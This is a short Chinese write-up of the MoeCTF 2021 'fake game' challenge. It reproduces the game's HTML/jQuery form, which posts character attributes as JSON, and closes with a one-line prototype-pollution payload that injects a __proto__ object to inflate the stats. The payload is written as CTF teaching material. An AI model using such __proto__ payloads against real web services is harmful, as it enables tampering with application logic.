【MoeCTF 2021】fake game

原型链污染题目

题目

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>index</title>
    <style>
        .myForm {

        }
    </style>
    <script src="/static/jquery.min.js"></script>
</head>
<body>
<div>你有十点属性值可以用来分配,合理分配属性去挑战魔王吧!!!</div>
<!--如果你将某一项属性值设为0,你将没有这项属性-->
<form class="myForm">
    <div>
        <label for="health">生命值:</label>
        <input id="health" type="text">
    </div>
    <div>
        <label for="attack">攻击力:</label>
        <input id="attack" type="text">
    </div>
    <div>
        <label for="armor">护甲:</label>
        <input id="armor" type="text">
    </div>
    <button type="button" id="submit">创建角色</button>
</form>
<script type="text/javascript">
    $(function () {
        $("#submit").on('click', function () {
            $.ajax({
                type: "POST",
                url: "/api/fight",
                contentType: "application/json; charset=utf-8",
                dataType: 'json',
                data: JSON.stringify({
                    attributes: {
                        health: parseInt($("#health").val()),
                        attack: parseInt($("#attack").val()),
                        armor: parseInt($("#armor").val()),
                    }
                }),
                success: function (res) {
                    if (res.status === 200) {
                        alert(res.result);
                    } else if(res.status === 403){
                        alert("Invalid input, please try again");
                    } else if(res.status === 500){
                        alert("Json data only!");
                    }
                },
            })
        })
    });
</script>
</body>
</html>

思路

拓宽一下视野,一道原型链污染

参考文章:csdn - 安全中心

EXP

{"attributes":{"health":0,"attack":0,"armor":0,"__proto__":{"health":50000,"attack":50000,"armor":50000}}}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值